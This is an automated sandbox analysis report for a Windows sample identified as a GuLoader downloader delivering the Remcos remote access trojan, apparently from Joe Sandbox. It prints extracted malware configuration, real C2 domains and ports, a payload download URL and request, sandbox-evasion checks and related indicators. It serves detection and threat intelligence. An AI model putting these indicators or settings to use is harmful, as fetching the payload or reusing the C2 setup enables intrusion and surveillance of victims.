Play interactive tour

Edit tour

Windows Analysis Report 8TEZmAEx3U.exe

Overview

General Information

Sample Name:	8TEZmAEx3U.exe
Analysis ID:	491398
MD5:	28c8b2207bb3e6884e1e29575fb19bec
SHA1:	5af638a980ba849bc6244dffb0caff4fb88c88d7
SHA256:	7b3c49295c67d0de6a1739eca11609fc551805075fd66facfec8e2a2b6ca016c
Tags:	exeRATRemcosRAT
Infos:
Most interesting Screenshot:

Detection

GuLoader Remcos

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Potential malicious icon found

Multi AV Scanner detection for submitted file

GuLoader behavior detected

Yara detected Remcos RAT

Yara detected GuLoader

Hides threads from debuggers

Tries to detect Any.run

C2 URLs / IPs found in malware configuration

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Machine Learning detection for sample

Uses dynamic DNS services

Uses 32bit PE files

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Sample file is different than original file name gathered from version info

PE file contains strange resources

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected TCP or UDP traffic on non-standard ports

Internet Provider seen in connection with other malware

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to call native functions

Uses Microsoft's Enhanced Cryptographic Provider

Creates a process in suspended mode (likely to inject code)

IP address seen in connection with other malware

Abnormal high CPU Usage

Classification

Process Tree

System is w10x64

8TEZmAEx3U.exe (PID: 400 cmdline: 'C:\Users\user\Desktop\8TEZmAEx3U.exe' MD5: 28C8B2207BB3E6884E1E29575FB19BEC)

8TEZmAEx3U.exe (PID: 6632 cmdline: 'C:\Users\user\Desktop\8TEZmAEx3U.exe' MD5: 28C8B2207BB3E6884E1E29575FB19BEC)

cleanup

Malware Configuration

Threatname: Remcos

{"Host:Port:Password": "solex-wave.duckdns.org:2404:0solex-wave.duckdns.org:2222:1", "Assigned name": "RemoteHost", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Disable", "Install path": "AppData", "Copy file": "remcos.exe", "Startup value": "Remcos", "Hide file": "Disable", "Mutex": "Remcos-Y0PK9D", "Keylog flag": "0", "Keylog path": "AppData", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "10", "Take Screenshot option": "Disable", "Take screenshot title": "notepad;solitaire;", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5", "Audio path": "AppData", "Audio folder": "MicRecords", "Connect delay": "0", "Copy folder": "Remcos", "Keylog folder": "remcos", "Keylog file max size": "20000"}

Threatname: GuLoader

{"Payload URL": "http://sopage.duckdns.org/Remcos_s_bChlcwVW46.bin"}

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
0000000E.00000002.761066423.0000000000707000.00000004.00000020.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000000.00000002.486721173.0000000002230000.00000040.00000001.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security

Sigma Overview

No Sigma rule has matched

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 0000000E.00000002.761066423.0000000000707000.00000004.00000020.sdmp	Malware Configuration Extractor: Remcos {"Host:Port:Password": "solex-wave.duckdns.org:2404:0solex-wave.duckdns.org:2222:1", "Assigned name": "RemoteHost", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Disable", "Install path": "AppData", "Copy file": "remcos.exe", "Startup value": "Remcos", "Hide file": "Disable", "Mutex": "Remcos-Y0PK9D", "Keylog flag": "0", "Keylog path": "AppData", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "10", "Take Screenshot option": "Disable", "Take screenshot title": "notepad;solitaire;", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5", "Audio path": "AppData", "Audio folder": "MicRecords", "Connect delay": "0", "Copy folder": "Remcos", "Keylog folder": "remcos", "Keylog file max size": "20000"}
Source: 00000000.00000002.486721173.0000000002230000.00000040.00000001.sdmp	Malware Configuration Extractor: GuLoader {"Payload URL": "http://sopage.duckdns.org/Remcos_s_bChlcwVW46.bin"}

Multi AV Scanner detection for submitted file

Show sources

Source: 8TEZmAEx3U.exe

Virustotal: Detection: 18%

Perma Link

Yara detected Remcos RAT

Show sources

Source: Yara match

File source: 0000000E.00000002.761066423.0000000000707000.00000004.00000020.sdmp, type: MEMORY

Machine Learning detection for sample

Show sources

Source: 8TEZmAEx3U.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\8TEZmAEx3U.exe

Code function: 0_2_00402504 CryptDestroyHash,

0_2_00402504

Source: 8TEZmAEx3U.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2032776 ET TROJAN Remocs 3.x Unencrypted Checkin 192.168.2.5:49753 -> 23.146.242.71:2404
Source: Traffic	Snort IDS: 2032777 ET TROJAN Remocs 3.x Unencrypted Server Response 23.146.242.71:2404 -> 192.168.2.5:49753

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor	URLs: solex-wave.duckdns.org
Source: Malware configuration extractor	URLs: http://sopage.duckdns.org/Remcos_s_bChlcwVW46.bin

Uses dynamic DNS services

Show sources

Source: unknown	DNS query: name: sopage.duckdns.org
Source: unknown	DNS query: name: solex-wave.duckdns.org

Source: global traffic

HTTP traffic detected: GET /Remcos_s_bChlcwVW46.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: sopage.duckdns.orgCache-Control: no-cache

Source: global traffic

TCP traffic: 192.168.2.5:49753 -> 23.146.242.71:2404

Source: Joe Sandbox View	ASN Name: VDI-NETWORKUS VDI-NETWORKUS
Source: Joe Sandbox View	ASN Name: VDI-NETWORKUS VDI-NETWORKUS

Source: Joe Sandbox View

IP Address: 23.146.242.85 23.146.242.85

Source: unknown

DNS traffic detected: queries for: sopage.duckdns.org

Source: global traffic

HTTP traffic detected: GET /Remcos_s_bChlcwVW46.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: sopage.duckdns.orgCache-Control: no-cache

E-Banking Fraud:

Yara detected Remcos RAT

Show sources

Source: Yara match

File source: 0000000E.00000002.761066423.0000000000707000.00000004.00000020.sdmp, type: MEMORY

System Summary:

Potential malicious icon found

Show sources

Source: initial sample

Icon embedded in PE file: bad icon match: 20047c7c70f0e004

Source: 8TEZmAEx3U.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Source: 8TEZmAEx3U.exe, 00000000.00000002.485866652.000000000042D000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameProfylaktiskes.exe vs 8TEZmAEx3U.exe
Source: 8TEZmAEx3U.exe, 0000000E.00000000.484947800.000000000042D000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameProfylaktiskes.exe vs 8TEZmAEx3U.exe
Source: 8TEZmAEx3U.exe	Binary or memory string: OriginalFilenameProfylaktiskes.exe vs 8TEZmAEx3U.exe

Source: 8TEZmAEx3U.exe

Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Code function: 0_2_0223960B	0_2_0223960B
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Code function: 0_2_02239BAA	0_2_02239BAA
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Code function: 0_2_02237648	0_2_02237648
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Code function: 0_2_02237485	0_2_02237485
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Code function: 0_2_0223030C	0_2_0223030C
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Code function: 0_2_0223799C	0_2_0223799C
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Code function: 0_2_0223B7F0	0_2_0223B7F0

Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Code function: 0_2_0223960B NtWriteVirtualMemory,NtAllocateVirtualMemory,LoadLibraryA,	0_2_0223960B
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Code function: 0_2_0223DBD2 NtProtectVirtualMemory,	0_2_0223DBD2
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Code function: 0_2_0223B7F0 NtWriteVirtualMemory,LoadLibraryA,	0_2_0223B7F0
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Code function: 14_2_0056EBFC Sleep,NtProtectVirtualMemory,	14_2_0056EBFC
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Code function: 14_2_0056EAB9 NtProtectVirtualMemory,	14_2_0056EAB9
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Code function: 14_2_0056EC5F NtProtectVirtualMemory,	14_2_0056EC5F
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Code function: 14_2_0056EB41 NtProtectVirtualMemory,	14_2_0056EB41
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Code function: 14_2_0056EAB0 NtProtectVirtualMemory,	14_2_0056EAB0
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Code function: 14_2_0056EC79 NtProtectVirtualMemory,	14_2_0056EC79

Source: C:\Users\user\Desktop\8TEZmAEx3U.exe

Process Stats: CPU usage > 98%

Source: 8TEZmAEx3U.exe

Virustotal: Detection: 18%

Source: 8TEZmAEx3U.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\8TEZmAEx3U.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\8TEZmAEx3U.exe

Section loaded: C:\Windows\SysWOW64\msvbvm60.dll

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\8TEZmAEx3U.exe 'C:\Users\user\Desktop\8TEZmAEx3U.exe'
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Process created: C:\Users\user\Desktop\8TEZmAEx3U.exe 'C:\Users\user\Desktop\8TEZmAEx3U.exe'
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Process created: C:\Users\user\Desktop\8TEZmAEx3U.exe 'C:\Users\user\Desktop\8TEZmAEx3U.exe'	Jump to behavior

Source: C:\Users\user\Desktop\8TEZmAEx3U.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\8TEZmAEx3U.exe

Mutant created: \Sessions\1\BaseNamedObjects\Remcos-Y0PK9D

Source: classification engine

Classification label: mal100.rans.troj.evad.winEXE@3/0@2/2

Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Data Obfuscation:

Yara detected GuLoader

Show sources

Source: Yara match

File source: 00000000.00000002.486721173.0000000002230000.00000040.00000001.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Code function: 0_2_00409468 push eax; retf	0_2_00409481
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Code function: 0_2_00409429 push 00000004h; ret	0_2_0040942D
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Code function: 0_2_004090F2 push ebp; ret	0_2_00409100
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Code function: 0_2_00407B04 push ecx; retf	0_2_00407B05
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Code function: 0_2_004093C7 push edx; retf	0_2_0040940A
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Code function: 0_2_004093DB push edx; retf	0_2_0040940A
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Code function: 0_2_00408DF3 push ebx; retf	0_2_00408E16
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Code function: 0_2_02231432 pushfd ; ret	0_2_02231463
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Code function: 0_2_0223123B push es; iretd	0_2_0223123C
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Code function: 0_2_02234017 push ds; retf	0_2_02234018
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Code function: 0_2_02236E61 push ebx; retf	0_2_02236E62
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Code function: 0_2_02235C66 push FFFFFFA2h; ret	0_2_02235C6A
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Code function: 0_2_02236873 push ds; iretd	0_2_02236874
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Code function: 0_2_02230055 push esp; iretd	0_2_02230056
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Code function: 0_2_022300C2 push esp; iretd	0_2_022300C3
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Code function: 0_2_02236D29 pushad ; retf	0_2_02236D2C
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Code function: 0_2_022313C8 pushfd ; ret	0_2_02231463

Source: initial sample

Static PE information: section name: .text entropy: 6.93605268847

Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion:

Tries to detect Any.run

Show sources

Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe	Jump to behavior
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	File opened: C:\Program Files\qga\qga.exe	Jump to behavior
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe	Jump to behavior
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	File opened: C:\Program Files\qga\qga.exe	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: 8TEZmAEx3U.exe, 00000000.00000002.486828735.0000000002AA0000.00000004.00000001.sdmp	Binary or memory string: NTDLLKERNEL32USER32C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEC:\PROGRAM FILES\QGA\QGA.EXEPSAPI.DLLMSI.DLLPUBLISHERSHELL32ADVAPI32TEMP=WINDIR=\SYSWOW64\MSVBVM60.DLL
Source: 8TEZmAEx3U.exe, 00000000.00000002.486828735.0000000002AA0000.00000004.00000001.sdmp	Binary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE

Source: C:\Users\user\Desktop\8TEZmAEx3U.exe

Window / User API: threadDelayed 647

Jump to behavior

Source: C:\Users\user\Desktop\8TEZmAEx3U.exe TID: 5768

Thread sleep count: 647 > 30

Jump to behavior

Source: C:\Users\user\Desktop\8TEZmAEx3U.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\8TEZmAEx3U.exe

System information queried: ModuleInformation

Jump to behavior

Source: 8TEZmAEx3U.exe, 00000000.00000002.486828735.0000000002AA0000.00000004.00000001.sdmp	Binary or memory string: ntdllkernel32user32C:\Program Files\Qemu-ga\qemu-ga.exeC:\Program Files\qga\qga.exepsapi.dllMsi.dllPublishershell32advapi32TEMP=windir=\syswow64\msvbvm60.dll
Source: 8TEZmAEx3U.exe, 00000000.00000002.486828735.0000000002AA0000.00000004.00000001.sdmp	Binary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exe

Anti Debugging:

Hides threads from debuggers

Show sources

Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Thread information set: HideFromDebugger			Jump to behavior

Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Code function: 0_2_0223BF06 mov eax, dword ptr fs:[00000030h]		0_2_0223BF06
Source: C:\Users\user\Desktop\8TEZmAEx3U.exe	Code function: 0_2_0223B7A9 mov eax, dword ptr fs:[00000030h]		0_2_0223B7A9

Source: C:\Users\user\Desktop\8TEZmAEx3U.exe

Process created: C:\Users\user\Desktop\8TEZmAEx3U.exe 'C:\Users\user\Desktop\8TEZmAEx3U.exe'

Jump to behavior

Source: 8TEZmAEx3U.exe, 0000000E.00000002.761378981.0000000000EA0000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: 8TEZmAEx3U.exe, 0000000E.00000002.761378981.0000000000EA0000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: 8TEZmAEx3U.exe, 0000000E.00000002.761378981.0000000000EA0000.00000002.00020000.sdmp	Binary or memory string: SProgram Managerl
Source: 8TEZmAEx3U.exe, 0000000E.00000002.761378981.0000000000EA0000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd,
Source: 8TEZmAEx3U.exe, 0000000E.00000002.761378981.0000000000EA0000.00000002.00020000.sdmp	Binary or memory string: Progmanlock

Stealing of Sensitive Information:

GuLoader behavior detected

Show sources

Source: Initial file

Signature Results: GuLoader behavior

Yara detected Remcos RAT

Show sources

Source: Yara match

File source: 0000000E.00000002.761066423.0000000000707000.00000004.00000020.sdmp, type: MEMORY

Remote Access Functionality:

Yara detected Remcos RAT

Show sources

Source: Yara match

File source: 0000000E.00000002.761066423.0000000000707000.00000004.00000020.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation	Path Interception	Process Injection12	Virtualization/Sandbox Evasion21	OS Credential Dumping	Security Software Discovery31	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Encrypted Channel2	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Process Injection12	LSASS Memory	Virtualization/Sandbox Evasion21	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Non-Standard Port1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information2	Security Account Manager	Process Discovery1	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Ingress Tool Transfer1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Software Packing1	NTDS	Application Window Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Non-Application Layer Protocol2	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Remote System Discovery1	SSH	Keylogging	Data Transfer Size Limits	Application Layer Protocol212	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	System Information Discovery2	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
8TEZmAEx3U.exe	18%	Virustotal		Browse
8TEZmAEx3U.exe	100%	Joe Sandbox ML

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://sopage.duckdns.org/Remcos_s_bChlcwVW46.bin	0%	Avira URL Cloud	safe
solex-wave.duckdns.org	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
sopage.duckdns.org	23.146.242.85	true	true		unknown
solex-wave.duckdns.org	23.146.242.71	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://sopage.duckdns.org/Remcos_s_bChlcwVW46.bin	true	Avira URL Cloud: safe	unknown
solex-wave.duckdns.org	true	Avira URL Cloud: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
23.146.242.71	solex-wave.duckdns.org	Reserved		46664	VDI-NETWORKUS	true
23.146.242.85	sopage.duckdns.org	Reserved		46664	VDI-NETWORKUS	true

General Information

Joe Sandbox Version:	33.0.0 White Diamond
Analysis ID:	491398
Start date:	27.09.2021
Start time:	14:52:37
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 8m 10s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	8TEZmAEx3U.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.rans.troj.evad.winEXE@3/0@2/2
EGA Information:	Failed
HDC Information:	Successful, ratio: 17.7% (good quality ratio 4.8%) Quality average: 13% Quality standard deviation: 24.2%
HCA Information:	Failed
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe Override analysis time to 240s for sample files taking high CPU consumption
Warnings:	Show All Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe Excluded IPs from analysis (whitelisted): 23.54.113.53, 95.100.54.203, 20.82.209.183 Excluded domains from analysis (whitelisted): e12564.dspb.akamaiedge.net, iris-de-prod-azsc-neu.northeurope.cloudapp.azure.com, fs.microsoft.com, store-images.s-microsoft.com, store-images.s-microsoft.com-c.edgekey.net, e1723.g.akamaiedge.net, arc.trafficmanager.net, prod.fs.microsoft.com.akadns.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com Not all processes where analyzed, report is missing behavior information Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

No simulations

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
23.146.242.71	466XoziOLD.exe	Get hash	malicious	Browse
	hVlpEajflR.exe	Get hash	malicious	Browse
	http___sowork.duckdns.org_11d_solex.exe	Get hash	malicious	Browse
23.146.242.85	7HHrcwZjLI.exe	Get hash	malicious	Browse	dypage.duckdns.org/remcos_d_QUBXVO174.bin
	466XoziOLD.exe	Get hash	malicious	Browse	sopage.duckdns.org/Remcos_s_bChlcwVW46.bin
	hVlpEajflR.exe	Get hash	malicious	Browse	spage.duckdns.org/Remcos_S_tGNeLX139.bin
	0rUkHCgvVf.exe	Get hash	malicious	Browse	dpage.duckdns.org/remcos_d_fIqfwC80.bin
	JQPFEy9Ekx.exe	Get hash	malicious	Browse	dyn-bin.duckdns.org/remcos_d_fIqfwC80.bin
	http___sowork.duckdns.org_11d_solex.exe	Get hash	malicious	Browse	sol-bin.duckdns.org/Remcos_S_tGNeLX139.bin

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
solex-wave.duckdns.org	466XoziOLD.exe	Get hash	malicious	Browse	23.146.242.71
sopage.duckdns.org	466XoziOLD.exe	Get hash	malicious	Browse	23.146.242.85

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
VDI-NETWORKUS	7HHrcwZjLI.exe	Get hash	malicious	Browse	23.146.242.85
	466XoziOLD.exe	Get hash	malicious	Browse	23.146.242.85
	hVlpEajflR.exe	Get hash	malicious	Browse	23.146.242.85
	0rUkHCgvVf.exe	Get hash	malicious	Browse	23.146.242.85
	HxXHmM0T9f.exe	Get hash	malicious	Browse	23.146.242.147
	JQPFEy9Ekx.exe	Get hash	malicious	Browse	23.146.242.85
	http___sowork.duckdns.org_11d_solex.exe	Get hash	malicious	Browse	23.146.242.85
	eXik5mFvet.exe	Get hash	malicious	Browse	23.146.242.94
	CVEXzxk43s.exe	Get hash	malicious	Browse	23.146.242.94
	yOCBr7SNLJ.exe	Get hash	malicious	Browse	23.146.242.94
	13FlI4deWN.exe	Get hash	malicious	Browse	23.146.242.94
	Payment Notification.exe	Get hash	malicious	Browse	23.146.242.147
	Payment Notification.scr.exe	Get hash	malicious	Browse	23.146.242.147
	Payment Notification.scr.exe	Get hash	malicious	Browse	23.146.242.147
	Request For Quotation.jar	Get hash	malicious	Browse	23.146.242.147
	OvBS76pTyX.exe	Get hash	malicious	Browse	23.146.242.94
	U6lqJJBG8S.exe	Get hash	malicious	Browse	23.146.242.94
	pNyAinWdWJ.exe	Get hash	malicious	Browse	23.146.242.94
	YTVrQC7FhG.exe	Get hash	malicious	Browse	23.146.242.94
	I4eRfFgJG7.exe	Get hash	malicious	Browse	23.146.242.94
VDI-NETWORKUS	7HHrcwZjLI.exe	Get hash	malicious	Browse	23.146.242.85
	466XoziOLD.exe	Get hash	malicious	Browse	23.146.242.85
	hVlpEajflR.exe	Get hash	malicious	Browse	23.146.242.85
	0rUkHCgvVf.exe	Get hash	malicious	Browse	23.146.242.85
	HxXHmM0T9f.exe	Get hash	malicious	Browse	23.146.242.147
	JQPFEy9Ekx.exe	Get hash	malicious	Browse	23.146.242.85
	http___sowork.duckdns.org_11d_solex.exe	Get hash	malicious	Browse	23.146.242.85
	eXik5mFvet.exe	Get hash	malicious	Browse	23.146.242.94
	CVEXzxk43s.exe	Get hash	malicious	Browse	23.146.242.94
	yOCBr7SNLJ.exe	Get hash	malicious	Browse	23.146.242.94
	13FlI4deWN.exe	Get hash	malicious	Browse	23.146.242.94
	Payment Notification.exe	Get hash	malicious	Browse	23.146.242.147
	Payment Notification.scr.exe	Get hash	malicious	Browse	23.146.242.147
	Payment Notification.scr.exe	Get hash	malicious	Browse	23.146.242.147
	Request For Quotation.jar	Get hash	malicious	Browse	23.146.242.147
	OvBS76pTyX.exe	Get hash	malicious	Browse	23.146.242.94
	U6lqJJBG8S.exe	Get hash	malicious	Browse	23.146.242.94
	pNyAinWdWJ.exe	Get hash	malicious	Browse	23.146.242.94
	YTVrQC7FhG.exe	Get hash	malicious	Browse	23.146.242.94
	I4eRfFgJG7.exe	Get hash	malicious	Browse	23.146.242.94

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

No created / dropped files found

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.699622688151151
TrID:	Win32 Executable (generic) a (10002005/4) 99.15% Win32 Executable Microsoft Visual Basic 6 (82127/2) 0.81% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	8TEZmAEx3U.exe
File size:	184320
MD5:	28c8b2207bb3e6884e1e29575fb19bec
SHA1:	5af638a980ba849bc6244dffb0caff4fb88c88d7
SHA256:	7b3c49295c67d0de6a1739eca11609fc551805075fd66facfec8e2a2b6ca016c
SHA512:	03064bc3b8dc9dd43d9d5dc2f32d48a5da92e34640e316b82bf01bea591a81827f3177b7a211de6b612a38c728236c6719b8510538169328382bc3faf90e073f
